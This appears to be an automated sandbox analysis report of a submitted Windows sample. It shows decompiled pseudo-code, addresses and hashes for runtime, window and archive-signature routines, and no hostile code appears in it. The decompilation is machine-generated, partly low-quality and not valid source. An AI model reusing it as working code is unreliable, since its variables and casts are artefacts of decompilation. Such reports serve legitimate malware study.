___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00261FD5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 5e67404bdce3d58dba4690db576bdf3fe85fdf728347c417b595b687d877e2e7
Instruction ID: dfd63bee204399ed0ccc24336ce69f9d463a628f8304b2b8b33b02f62d91ff93
Opcode Fuzzy Hash: 5e67404bdce3d58dba4690db576bdf3fe85fdf728347c417b595b687d877e2e7
Instruction Fuzzy Hash: E0D02234938302989E10BE7038038AB23D55D43BB0368078AF424C5CC2EF32A0F27D11

Uniqueness

Uniqueness Score: -1.00%

Function 0025DABD Relevance: 3.0, APIs: 2, Instructions: 13
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E0025DABD(void* __ecx, void* __esi) {
				signed int _v8;
				void* _t5;
				intOrPtr _t8;
				signed int _t9;
				void* _t16;
				void* _t20;
				signed int _t26;

				_t20 = __esi;
				_t16 = __ecx;
				if(( *0x274540 & 0x00001000) == 0) {
					return _t5;
				} else {
					E0025DB6B(__ecx, __esi);
					_t8 =  *0x29fcd8 + 1;
					 *0x29fcd8 = _t8;
					if(_t8 == 1) {
						E0025DCBD(4, 0x29fcdc); // executed
					}
					_t24 = _t26;
					_push(_t16);
					_t9 =  *0x27d668; // 0xdef7aace
					_v8 = _t9 ^ _t26;
					if(E0025DAF0() == 0) {
						 *0x29fcd4 = 0;
					} else {
						 *0x272260(0x29fcd4, _t20);
						 *((intOrPtr*)( *0x29fcd0))();
					}
					return E0025EA8A(_v8 ^ _t24);
				}
			}

0x0025dabd
0x0025dabd
0x0025dac7
0x0025daef
0x0025dac9
0x0025dac9
0x0025dad3
0x0025dad4
0x0025dadc
0x0025dae5
0x0025dae5
0x0025dd68
0x0025dd6a
0x0025dd6b
0x0025dd72
0x0025dd7c
0x0025dd97
0x0025dd7e
0x0025dd8c
0x0025dd92
0x0025dd94
0x0025ddae
0x0025ddae

APIs

DloadLock.DELAYIMP ref: 0025DAC9
DloadProtectSection.DELAYIMP ref: 0025DAE5

Part of subcall function 0025DCBD: DloadObtainSection.DELAYIMP ref: 0025DCCD

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: b454e5f75378d0416e2503d00f85bad3c27493f4914862491f91441ba12f04c6
Instruction ID: 9d77b1c7ab9388935a03cf23558a0c9c3f13ce087ddeef3a31d509199c619ed9
Opcode Fuzzy Hash: b454e5f75378d0416e2503d00f85bad3c27493f4914862491f91441ba12f04c6
Instruction Fuzzy Hash: A0D0C9751241058FD6F5FB28BACA71A2260EB15743F904013ED46E61D9CBB444B9CA0D

Uniqueness

Uniqueness Score: -1.00%

Function 002412E6 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E002412E6(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x002412ed
0x00241302
0x00241308

APIs

GetDlgItem.USER32(?,?), ref: 002412FB
ShowWindow.USER32(00000000), ref: 00241302

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 704211f3fdfb3d72280463bf606e687d2f666bdb06359e5860c88a6b6a71b047
Instruction ID: 739eca0e6e7467857af74b98e2acfd646fa3a708cbeac7d6e18c41e96afa5219
Opcode Fuzzy Hash: 704211f3fdfb3d72280463bf606e687d2f666bdb06359e5860c88a6b6a71b047
Instruction Fuzzy Hash: 95C01236058210BFCB010BB0EC0DD2BBBA8EBA6222F04C908B2B9C0060CA3AC020DB11

Uniqueness

Uniqueness Score: -1.00%

Function 002419D6 Relevance: 1.8, APIs: 1, Instructions: 310
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E002419D6(intOrPtr* __ecx, void* __edx) {
				void* __esi;
				signed int _t103;
				intOrPtr _t107;
				signed int _t109;
				signed int _t111;
				signed int _t115;
				signed int _t116;
				signed int _t127;
				intOrPtr _t128;
				char _t129;
				char _t140;
				intOrPtr _t146;
				signed int _t147;
				signed int _t148;
				void* _t151;
				signed int _t156;
				signed int _t160;
				void* _t165;
				void* _t167;
				void* _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				signed int _t184;
				void* _t185;
				signed int _t187;
				char* _t202;
				intOrPtr _t203;
				signed int _t204;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t217;
				char* _t218;
				intOrPtr _t219;
				void* _t220;
				void* _t227;
				void* _t229;

				_t213 = __edx;
				_t174 = __ecx;
				E0025E0E4(E00271AF9, _t229);
				_t172 = _t174;
				_t215 = _t172 + 0x21f8;
				 *((char*)(_t172 + 0x6cbc)) = 0;
				 *((char*)(_t172 + 0x6cc4)) = 0;
				 *0x272260(_t215, 7, _t214, _t220, _t171);
				if( *( *( *_t172 + 0xc))() == 7) {
					_t222 = 0;
					 *(_t172 + 0x6cc0) = 0;
					_t103 = E00241DD8(_t215, 7);
					__eflags = _t103;
					if(_t103 == 0) {
						E00247076(_t229 - 0x38, 0x200000);
						 *(_t229 - 4) = 0;
						 *0x272260();
						_t107 =  *((intOrPtr*)( *((intOrPtr*)( *_t172 + 0x14))))();
						 *((intOrPtr*)(_t229 - 0x18)) = _t107;
						 *0x272260( *((intOrPtr*)(_t229 - 0x38)),  *((intOrPtr*)(_t229 - 0x34)) + 0xfffffff0);
						_t109 =  *( *_t172 + 0xc)();
						_t184 = _t109;
						_t222 = 0;
						 *(_t229 - 0x14) = _t184;
						__eflags = _t184;
						if(_t184 <= 0) {
							L22:
							__eflags =  *(_t172 + 0x6cc0);
							_t185 = _t229 - 0x38;
							if( *(_t172 + 0x6cc0) != 0) {
								_t35 = _t229 - 4; // executed
								 *_t35 =  *(_t229 - 4) | 0xffffffff;
								__eflags =  *_t35;
								E002415D1(_t185); // executed
								L25:
								_t111 =  *(_t172 + 0x6cb0);
								__eflags = _t111 - 4;
								if(__eflags != 0) {
									__eflags = _t111 - 3;
									if(_t111 != 3) {
										 *((intOrPtr*)(_t172 + 0x2200)) = 7;
										L32:
										 *((char*)(_t229 - 0xd)) = 0;
										__eflags = E00243A95(_t172, _t213, _t222);
										 *(_t229 - 0xe) = 0;
										__eflags = 0 - 1;
										if(0 != 1) {
											L38:
											_t115 =  *((intOrPtr*)(_t229 - 0xd));
											L39:
											_t187 =  *((intOrPtr*)(_t172 + 0x6cc5));
											__eflags = _t187;
											if(_t187 == 0) {
												L41:
												__eflags =  *((char*)(_t172 + 0x6cc4));
												if( *((char*)(_t172 + 0x6cc4)) != 0) {
													L43:
													__eflags = _t187;
													if(__eflags == 0) {
														E00241380(__eflags, 0x1b, _t172 + 0x1e);
													}
													__eflags =  *((char*)(_t229 + 8));
													if( *((char*)(_t229 + 8)) == 0) {
														goto L1;
													} else {
														L46:
														__eflags =  *(_t229 - 0xe);
														 *((char*)(_t172 + 0x6cb6)) =  *((intOrPtr*)(_t172 + 0x2224));
														if( *(_t229 - 0xe) == 0) {
															L68:
															__eflags =  *((char*)(_t172 + 0x6cb5));
															if( *((char*)(_t172 + 0x6cb5)) == 0) {
																L70:
																E0024FD96(_t172 + 0x6cfa, _t172 + 0x1e, 0x800);
																L71:
																_t116 = 1;
																L72:
																 *[fs:0x0] =  *((intOrPtr*)(_t229 - 0xc));
																return _t116;
															}
															__eflags =  *((char*)(_t172 + 0x6cb9));
															if( *((char*)(_t172 + 0x6cb9)) == 0) {
																goto L71;
															}
															goto L70;
														}
														__eflags =  *((char*)(_t172 + 0x21e0));
														if( *((char*)(_t172 + 0x21e0)) == 0) {
															L49:
															 *0x272260();
															_t227 =  *((intOrPtr*)( *((intOrPtr*)( *_t172 + 0x14))))();
															_t217 = _t213;
															 *((intOrPtr*)(_t229 - 0x18)) =  *((intOrPtr*)(_t172 + 0x6ca0));
															 *(_t229 - 0x14) =  *(_t172 + 0x6ca4);
															 *((intOrPtr*)(_t229 - 0x1c)) =  *((intOrPtr*)(_t172 + 0x6ca8));
															 *((intOrPtr*)(_t229 - 0x20)) =  *((intOrPtr*)(_t172 + 0x6cac));
															 *((intOrPtr*)(_t229 - 0x24)) =  *((intOrPtr*)(_t172 + 0x21dc));
															while(1) {
																_t127 = E00243A95(_t172, _t213, _t227);
																__eflags = _t127;
																if(_t127 == 0) {
																	break;
																}
																_t128 =  *((intOrPtr*)(_t172 + 0x21dc));
																__eflags = _t128 - 3;
																if(_t128 != 3) {
																	__eflags = _t128 - 2;
																	if(_t128 == 2) {
																		__eflags =  *((char*)(_t172 + 0x6cb5));
																		if( *((char*)(_t172 + 0x6cb5)) == 0) {
																			L65:
																			_t129 = 0;
																			__eflags = 0;
																			L66:
																			 *((char*)(_t172 + 0x6cb9)) = _t129;
																			L67:
																			 *((intOrPtr*)(_t172 + 0x6ca0)) =  *((intOrPtr*)(_t229 - 0x18));
																			 *(_t172 + 0x6ca4) =  *(_t229 - 0x14);
																			 *((intOrPtr*)(_t172 + 0x6ca8)) =  *((intOrPtr*)(_t229 - 0x1c));
																			 *((intOrPtr*)(_t172 + 0x6cac)) =  *((intOrPtr*)(_t229 - 0x20));
																			 *((intOrPtr*)(_t172 + 0x21dc)) =  *((intOrPtr*)(_t229 - 0x24));
																			 *0x272260(_t227, _t217, 0);
																			 *( *( *_t172 + 0x10))();
																			goto L68;
																		}
																		__eflags =  *((char*)(_t172 + 0x3318));
																		if( *((char*)(_t172 + 0x3318)) != 0) {
																			goto L65;
																		}
																		_t129 = 1;
																		goto L66;
																	}
																	__eflags = _t128 - 5;
																	if(_t128 == 5) {
																		goto L67;
																	}
																	L59:
																	E00241F0A(_t172);
																	continue;
																}
																__eflags =  *((char*)(_t172 + 0x6cb5));
																if( *((char*)(_t172 + 0x6cb5)) == 0) {
																	L55:
																	_t140 = 0;
																	__eflags = 0;
																	L56:
																	 *((char*)(_t172 + 0x6cb9)) = _t140;
																	goto L59;
																}
																__eflags =  *((char*)(_t172 + 0x5668));
																if( *((char*)(_t172 + 0x5668)) != 0) {
																	goto L55;
																}
																_t140 = 1;
																goto L56;
															}
															goto L67;
														}
														__eflags =  *((char*)(_t172 + 0x6cbc));
														if( *((char*)(_t172 + 0x6cbc)) != 0) {
															goto L68;
														}
														goto L49;
													}
												}
												__eflags = _t115;
												if(_t115 != 0) {
													goto L46;
												}
												goto L43;
											}
											__eflags =  *((char*)(_t229 + 8));
											if( *((char*)(_t229 + 8)) == 0) {
												goto L1;
											}
											goto L41;
										}
										__eflags = 0;
										 *((char*)(_t229 - 0xd)) = 0;
										while(1) {
											E00241F0A(_t172);
											_t146 =  *((intOrPtr*)(_t172 + 0x21dc));
											__eflags = _t146 - 1;
											if(_t146 == 1) {
												break;
											}
											__eflags =  *((char*)(_t172 + 0x21e0));
											if( *((char*)(_t172 + 0x21e0)) == 0) {
												L37:
												_t147 = E00243A95(_t172, _t213, _t222);
												__eflags = _t147;
												_t148 = _t147 & 0xffffff00 | _t147 != 0x00000000;
												 *(_t229 - 0xe) = _t148;
												__eflags = _t148 - 1;
												if(_t148 == 1) {
													continue;
												}
												goto L38;
											}
											__eflags = _t146 - 4;
											if(_t146 == 4) {
												break;
											}
											goto L37;
										}
										_t115 = 1;
										goto L39;
									}
									_t218 = _t172 + 0x21ff;
									_t222 =  *( *_t172 + 0xc);
									 *0x272260(_t218, 1);
									_t151 =  *( *( *_t172 + 0xc))();
									__eflags = _t151 - 1;
									if(_t151 != 1) {
										goto L1;
									}
									__eflags =  *_t218;
									if( *_t218 != 0) {
										goto L1;
									}
									 *((intOrPtr*)(_t172 + 0x2200)) = 8;
									goto L32;
								}
								E00241380(__eflags, 0x3c, _t172 + 0x1e);
								goto L1;
							}
							E002415D1(_t185);
							goto L1;
						} else {
							goto L6;
						}
						do {
							L6:
							_t202 =  *((intOrPtr*)(_t229 - 0x38)) + _t222;
							__eflags =  *_t202 - 0x52;
							if( *_t202 != 0x52) {
								goto L17;
							}
							_t156 = E00241DD8(_t202, _t109 - _t222);
							__eflags = _t156;
							if(_t156 == 0) {
								L16:
								_t109 =  *(_t229 - 0x14);
								goto L17;
							}
							_t203 =  *((intOrPtr*)(_t229 - 0x18));
							 *(_t172 + 0x6cb0) = _t156;
							__eflags = _t156 - 1;
							if(_t156 != 1) {
								L19:
								_t204 = _t203 + _t222;
								 *(_t172 + 0x6cc0) = _t204;
								_t222 =  *( *_t172 + 0x10);
								 *0x272260(_t204, 0, 0);
								 *( *( *_t172 + 0x10))();
								_t160 =  *(_t172 + 0x6cb0);
								__eflags = _t160 - 2;
								if(_t160 == 2) {
									L21:
									_t222 =  *( *_t172 + 0xc);
									 *0x272260(_t215, 7);
									 *( *( *_t172 + 0xc))();
									goto L22;
								}
								__eflags = _t160 - 3;
								if(_t160 != 3) {
									goto L22;
								}
								goto L21;
							}
							__eflags = _t222;
							if(_t222 <= 0) {
								goto L19;
							}
							__eflags = _t203 - 0x1c;
							if(_t203 >= 0x1c) {
								goto L19;
							}
							__eflags =  *(_t229 - 0x14) - 0x1f;
							if( *(_t229 - 0x14) <= 0x1f) {
								goto L19;
							}
							_t165 =  *((intOrPtr*)(_t229 - 0x38)) - _t203;
							__eflags =  *((char*)(_t165 + 0x1c)) - 0x52;
							if( *((char*)(_t165 + 0x1c)) != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1d)) - 0x53;
							if( *((char*)(_t165 + 0x1d)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1e)) - 0x46;
							if( *((char*)(_t165 + 0x1e)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1f)) - 0x58;
							if( *((char*)(_t165 + 0x1f)) == 0x58) {
								goto L19;
							}
							goto L16;
							L17:
							_t222 = _t222 + 1;
							__eflags = _t222 - _t109;
						} while (_t222 < _t109);
						goto L22;
					}
					 *(_t172 + 0x6cb0) = _t103;
					__eflags = _t103 - 1;
					if(_t103 == 1) {
						_t219 =  *_t172;
						_t222 =  *(_t219 + 0x14);
						 *0x272260(0);
						_t167 =  *( *(_t219 + 0x14))();
						asm("sbb edx, 0x0");
						 *0x272260(_t167 - 7, _t213);
						 *((intOrPtr*)(_t219 + 0x10))();
					}
					goto L25;
				}
				L1:
				_t116 = 0;
				goto L72;
			}

0x002419d6
0x002419d6
0x002419db
0x002419e4
0x002419ec
0x002419f3
0x002419fa
0x00241a06
0x00241a13
0x00241a1e
0x00241a21
0x00241a27
0x00241a2c
0x00241a2e
0x00241a74
0x00241a7b
0x00241a83
0x00241a8b
0x00241a99
0x00241a9f
0x00241aa7
0x00241aaa
0x00241aac
0x00241aae
0x00241ab1
0x00241ab3
0x00241b56
0x00241b56
0x00241b5d
0x00241b60
0x00241b6c
0x00241b6c
0x00241b6c
0x00241b70
0x00241b75
0x00241b75
0x00241b7b
0x00241b7e
0x00241b90
0x00241b93
0x00241bcd
0x00241bd7
0x00241bdb
0x00241be3
0x00241be8
0x00241beb
0x00241bed
0x00241c2f
0x00241c2f
0x00241c32
0x00241c32
0x00241c38
0x00241c3a
0x00241c46
0x00241c46
0x00241c4d
0x00241c53
0x00241c53
0x00241c55
0x00241c5d
0x00241c5d
0x00241c62
0x00241c66
0x00000000
0x00241c6c
0x00241c6c
0x00241c6c
0x00241c76
0x00241c7c
0x00241d8e
0x00241d8e
0x00241d95
0x00241da0
0x00241db0
0x00241db5
0x00241db5
0x00241db7
0x00241dbd
0x00241dc7
0x00241dc7
0x00241d97
0x00241d9e
0x00000000
0x00000000
0x00000000
0x00241d9e
0x00241c82
0x00241c89
0x00241c98
0x00241c9f
0x00241ca9
0x00241cab
0x00241cb3
0x00241cbc
0x00241cc5
0x00241cce
0x00241cd7
0x00241d20
0x00241d22
0x00241d27
0x00241d29
0x00000000
0x00000000
0x00241ce3
0x00241ce9
0x00241cec
0x00241d0f
0x00241d12
0x00241d2d
0x00241d34
0x00241d44
0x00241d44
0x00241d44
0x00241d46
0x00241d46
0x00241d4c
0x00241d4f
0x00241d58
0x00241d61
0x00241d6a
0x00241d73
0x00241d84
0x00241d8c
0x00000000
0x00241d8c
0x00241d36
0x00241d3d
0x00000000
0x00000000
0x00241d41
0x00000000
0x00241d41
0x00241d14
0x00241d17
0x00000000
0x00000000
0x00241d19
0x00241d1b
0x00000000
0x00241d1b
0x00241cee
0x00241cf5
0x00241d05
0x00241d05
0x00241d05
0x00241d07
0x00241d07
0x00000000
0x00241d07
0x00241cf7
0x00241cfe
0x00000000
0x00000000
0x00241d02
0x00000000
0x00241d02
0x00000000
0x00241d2b
0x00241c8b
0x00241c92
0x00000000
0x00000000
0x00000000
0x00241c92
0x00241c66
0x00241c4f
0x00241c51
0x00000000
0x00000000
0x00000000
0x00241c51
0x00241c3c
0x00241c40
0x00000000
0x00000000
0x00000000
0x00241c40
0x00241bef
0x00241bf1
0x00241bf4
0x00241bf6
0x00241bfb
0x00241c01
0x00241c04
0x00000000
0x00000000
0x00241c0a
0x00241c11
0x00241c1c
0x00241c1e
0x00241c23
0x00241c25
0x00241c28
0x00241c2b
0x00241c2d
0x00000000
0x00000000
0x00000000
0x00241c2d
0x00241c13
0x00241c16
0x00000000
0x00000000
0x00000000
0x00241c16
0x00241cdc
0x00000000
0x00241cdc
0x00241b97
0x00241ba0
0x00241ba5
0x00241bad
0x00241baf
0x00241bb2
0x00000000
0x00000000
0x00241bb8
0x00241bbb
0x00000000
0x00000000
0x00241bc1
0x00000000
0x00241bc1
0x00241b86
0x00000000
0x00241b86
0x00241b62
0x00000000
0x00000000
0x00000000
0x00000000
0x00241ab9
0x00241ab9
0x00241abc
0x00241abe
0x00241ac1
0x00000000
0x00000000
0x00241ac7
0x00241acc
0x00241ace
0x00241b0a
0x00241b0a
0x00000000
0x00241b0a
0x00241ad0
0x00241ad3
0x00241ad9
0x00241adc
0x00241b14
0x00241b16
0x00241b1c
0x00241b22
0x00241b28
0x00241b30
0x00241b32
0x00241b38
0x00241b3b
0x00241b42
0x00241b47
0x00241b4c
0x00241b54
0x00000000
0x00241b54
0x00241b3d
0x00241b40
0x00000000
0x00000000
0x00000000
0x00241b40
0x00241ade
0x00241ae0
0x00000000
0x00000000
0x00241ae2
0x00241ae5
0x00000000
0x00000000
0x00241ae7
0x00241aeb
0x00000000
0x00000000
0x00241af0
0x00241af2
0x00241af6
0x00000000
0x00000000
0x00241af8
0x00241afc
0x00000000
0x00000000
0x00241afe
0x00241b02
0x00000000
0x00000000
0x00241b04
0x00241b08
0x00000000
0x00000000
0x00000000
0x00241b0d
0x00241b0d
0x00241b0e
0x00241b0e
0x00000000
0x00241b12
0x00241a30
0x00241a36
0x00241a39
0x00241a3f
0x00241a42
0x00241a47
0x00241a4f
0x00241a57
0x00241a5c
0x00241a64
0x00241a64
0x00000000
0x00241a39
0x00241a15
0x00241a15
0x00000000

APIs

__EH_prolog.LIBCMT ref: 002419DB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 031a1f085298d4070be889686c9d74c5869f604dfb1990111ca4696411842aa5
Instruction ID: 302e19a91848dd6cf15d59a48ccf306bfbf3186bcc874bb8c21c3c31ffcd139e
Opcode Fuzzy Hash: 031a1f085298d4070be889686c9d74c5869f604dfb1990111ca4696411842aa5
Instruction Fuzzy Hash: 76C1B570A242559FDF1DCF68C884BA97BA1EF06304F0844B9EC46DF286DB7199B4CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00243B26 Relevance: 1.7, APIs: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00243B26(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t76;
				signed int _t83;
				intOrPtr _t94;
				void* _t120;
				char _t121;
				void* _t123;
				void* _t130;
				signed int _t144;
				signed int _t148;
				void* _t151;
				void* _t153;

				_t143 = __edx;
				_t123 = __ecx;
				E0025E0E4(E00271B56, _t153);
				E0025E1C0();
				_t151 = _t123;
				_t156 =  *((char*)(_t151 + 0x6cc4));
				if( *((char*)(_t151 + 0x6cc4)) == 0) {
					__eflags =  *((char*)(_t151 + 0x45f0)) - 5;
					if(__eflags > 0) {
						L26:
						E00241380(__eflags, 0x1e, _t151 + 0x1e);
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x6cb0)) - 3;
					__eflags =  *((intOrPtr*)(_t151 + 0x45ec)) - ((0 |  *((intOrPtr*)(_t151 + 0x6cb0)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d;
					if(__eflags > 0) {
						goto L26;
					}
					_t83 =  *(_t151 + 0x5628) |  *(_t151 + 0x562c);
					__eflags = _t83;
					if(_t83 != 0) {
						L7:
						_t120 = _t151 + 0x20e8;
						E0024C866(_t83, _t120);
						_push(_t120);
						E002517D6(_t153 - 0xe6ec, __eflags);
						_t121 = 0;
						_push(0);
						 *((intOrPtr*)(_t153 - 4)) = 0;
						E00252BB2(0, _t153 - 0xe6ec, _t153,  *((intOrPtr*)(_t151 + 0x56c4)));
						_t148 =  *(_t153 + 8);
						__eflags =  *(_t153 + 0xc);
						if( *(_t153 + 0xc) != 0) {
							L15:
							__eflags =  *((intOrPtr*)(_t151 + 0x566b)) - _t121;
							if( *((intOrPtr*)(_t151 + 0x566b)) == _t121) {
								L18:
								E0024A9C8(_t151 + 0x21a0, _t143,  *((intOrPtr*)(_t151 + 0x5640)), 1);
								 *(_t151 + 0x2108) =  *(_t151 + 0x5628);
								 *(_t151 + 0x210c) =  *(_t151 + 0x562c);
								 *((char*)(_t151 + 0x2110)) = _t121;
								E0024C919(_t151 + 0x20e8, _t151,  *(_t153 + 0xc));
								_t130 = _t151 + 0x20e8;
								 *((char*)(_t151 + 0x2111)) =  *((intOrPtr*)(_t153 + 0x10));
								 *((char*)(_t151 + 0x2137)) =  *((intOrPtr*)(_t151 + 0x5669));
								 *((intOrPtr*)(_t130 + 0x38)) = _t151 + 0x45d0;
								 *((intOrPtr*)(_t130 + 0x3c)) = _t121;
								_t94 =  *((intOrPtr*)(_t151 + 0x5630));
								_t144 =  *(_t151 + 0x5634);
								 *((intOrPtr*)(_t153 - 0x9aa4)) = _t94;
								 *(_t153 - 0x9aa0) = _t144;
								 *((char*)(_t153 - 0x9a8c)) = _t121;
								__eflags =  *((intOrPtr*)(_t151 + 0x45f0)) - _t121;
								if(__eflags != 0) {
									E00252861(_t153 - 0xe6ec,  *((intOrPtr*)(_t151 + 0x45ec)), _t121);
								} else {
									_push(_t144);
									_push(_t94);
									_push(_t130); // executed
									E00249283(_t121, _t144, _t148, __eflags); // executed
								}
								asm("sbb edx, edx");
								_t143 =  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b;
								__eflags = E0024A996(_t151 + 0x21a0, _t148, _t151 + 0x5640,  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b);
								if(__eflags != 0) {
									_t121 = 1;
								} else {
									E00247032(__eflags, 0x1f, _t151 + 0x1e, _t151 + 0x45f8);
									E00246F5B(0x27ff50, 3);
									__eflags = _t148;
									if(_t148 != 0) {
										E0024FEA0(_t148);
									}
								}
								L25:
								E00251A2F(_t153 - 0xe6ec, _t143, _t148, _t151);
								_t76 = _t121;
								goto L28;
							}
							_t143 =  *(_t151 + 0x21bc);
							__eflags =  *((intOrPtr*)(_t143 + 0x5124)) - _t121;
							if( *((intOrPtr*)(_t143 + 0x5124)) == _t121) {
								goto L25;
							}
							asm("sbb ecx, ecx");
							_t138 =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							__eflags =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							E0024C8D1(_t151 + 0x20e8, _t121,  *((intOrPtr*)(_t151 + 0x566c)), _t143 + 0x5024, _t138, _t151 + 0x5681,  *((intOrPtr*)(_t151 + 0x56bc)), _t151 + 0x569b, _t151 + 0x5692);
							goto L18;
						}
						__eflags =  *(_t151 + 0x5634);
						if(__eflags < 0) {
							L12:
							__eflags = _t148;
							if(_t148 != 0) {
								E00242020(_t148,  *((intOrPtr*)(_t151 + 0x5630)));
								E0024C936(_t151 + 0x20e8,  *_t148,  *((intOrPtr*)(_t151 + 0x5630)));
							} else {
								 *((char*)(_t151 + 0x2111)) = 1;
							}
							goto L15;
						}
						if(__eflags > 0) {
							L11:
							E00241380(__eflags, 0x1e, _t151 + 0x1e);
							goto L25;
						}
						__eflags =  *((intOrPtr*)(_t151 + 0x5630)) - 0x1000000;
						if(__eflags <= 0) {
							goto L12;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x5669)) - _t83;
					if( *((intOrPtr*)(_t151 + 0x5669)) != _t83) {
						goto L7;
					} else {
						_t76 = 1;
						goto L28;
					}
				} else {
					E00241380(_t156, 0x1d, _t151 + 0x1e);
					E00246F5B(0x27ff50, 3);
					L27:
					_t76 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t153 - 0xc));
					return _t76;
				}
			}

0x00243b26
0x00243b26
0x00243b2b
0x00243b35
0x00243b3b
0x00243b3d
0x00243b44
0x00243b62
0x00243b69
0x00243dab
0x00243db1
0x00000000
0x00243db1
0x00243b71
0x00243b82
0x00243b88
0x00000000
0x00000000
0x00243b94
0x00243b94
0x00243b9a
0x00243bab
0x00243bac
0x00243bb5
0x00243bba
0x00243bc1
0x00243bc6
0x00243bce
0x00243bd5
0x00243bd8
0x00243bdd
0x00243be0
0x00243be3
0x00243c38
0x00243c38
0x00243c3e
0x00243c9a
0x00243ca8
0x00243cbc
0x00243cc9
0x00243ccf
0x00243cd5
0x00243cdd
0x00243ce3
0x00243cef
0x00243cfb
0x00243cfe
0x00243d01
0x00243d07
0x00243d0d
0x00243d13
0x00243d19
0x00243d1f
0x00243d25
0x00243d3e
0x00243d27
0x00243d27
0x00243d28
0x00243d29
0x00243d2a
0x00243d2a
0x00243d58
0x00243d5a
0x00243d69
0x00243d6b
